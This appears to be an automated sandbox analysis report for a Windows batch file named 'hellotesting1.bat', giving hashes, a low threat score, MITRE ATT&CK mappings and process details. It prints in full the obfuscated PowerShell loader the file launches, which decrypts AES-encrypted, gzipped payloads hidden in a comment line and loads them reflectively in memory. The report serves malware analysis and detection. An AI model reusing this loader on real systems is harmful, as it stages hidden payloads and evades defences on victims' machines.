2868c25ebff7a0b0ac9989e6df5a1d6f8625713980b1bf74af596d2204ed0d8c

Analysis

max time kernel
122s
max time network
123s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
30-05-2024 10:17

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General

Target

hellotesting1.bat
Size

710KB
MD5

1c6a9ae804188b09a9d22a6ce2a4e16a
SHA1

fd6cb4acd356a4b21fdd3d8bad229153fefe6803
SHA256

2868c25ebff7a0b0ac9989e6df5a1d6f8625713980b1bf74af596d2204ed0d8c
SHA512

2fd8a3f0398d8b81d03529d74c532239e9da40a8565ab1e48d3278eca2b880def39d96d8e364f6bfa98b4326ac7ac9636fd0666c4ac051e74d47a40b17d9c576
SSDEEP

12288:0CA9ic1CGZWdhoXOExoF4LD4q+shjUIMgE4GScdQzNpxMtGh7CYS7lXInOZ1CTYz:0zTbkcxoi34qj5SgbGVG/xoK7CR3CTC

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

3040 powershell.exe
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

Processes:

powershell.exe

pid process

3040 powershell.exe
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

3040 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 3040 powershell.exe

pid	process
3040	powershell.exe

pid	process
3040	powershell.exe

pid	process
3040	powershell.exe

description	pid	process
Token: SeDebugPrivilege	3040	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 1736 wrote to memory of 3040	1736	cmd.exe	powershell.exe
PID 1736 wrote to memory of 3040	1736	cmd.exe	powershell.exe
PID 1736 wrote to memory of 3040	1736	cmd.exe	powershell.exe
PID 1736 wrote to memory of 3040	1736	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\hellotesting1.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1736

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('IbqOzYTeDhh6EbAnT+hBFd1cVHa3aIZ61TH3e8TlXMw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('TRyGVjGg7e04rN6VcrTNsA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $rutUS=New-Object System.IO.MemoryStream(,$param_var); $RKQvm=New-Object System.IO.MemoryStream; $DRWff=New-Object System.IO.Compression.GZipStream($rutUS, [IO.Compression.CompressionMode]::Decompress); $DRWff.CopyTo($RKQvm); $DRWff.Dispose(); $rutUS.Dispose(); $RKQvm.Dispose(); $RKQvm.ToArray();}function execute_function($param_var,$param2_var){ $tCKKt=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $QCbWu=$tCKKt.EntryPoint; $QCbWu.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\hellotesting1.bat';$YYuKO=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\hellotesting1.bat').Split([Environment]::NewLine);foreach ($LeEqs in $YYuKO) { if ($LeEqs.StartsWith(':: ')) { $XNFZh=$LeEqs.Substring(3); break; }}$payloads_var=[string[]]$XNFZh.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3040

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/3040-2-0x0000000073EA1000-0x0000000073EA2000-memory.dmp

Filesize
4KB

Download
memory/3040-3-0x0000000073EA0000-0x000000007444B000-memory.dmp

Filesize
5.7MB

Download
memory/3040-4-0x0000000073EA0000-0x000000007444B000-memory.dmp

Filesize
5.7MB

Download
memory/3040-5-0x0000000073EA0000-0x000000007444B000-memory.dmp

Filesize
5.7MB

Download
memory/3040-6-0x0000000073EA0000-0x000000007444B000-memory.dmp

Filesize
5.7MB

Download
memory/3040-7-0x0000000073EA0000-0x000000007444B000-memory.dmp

Filesize
5.7MB

Download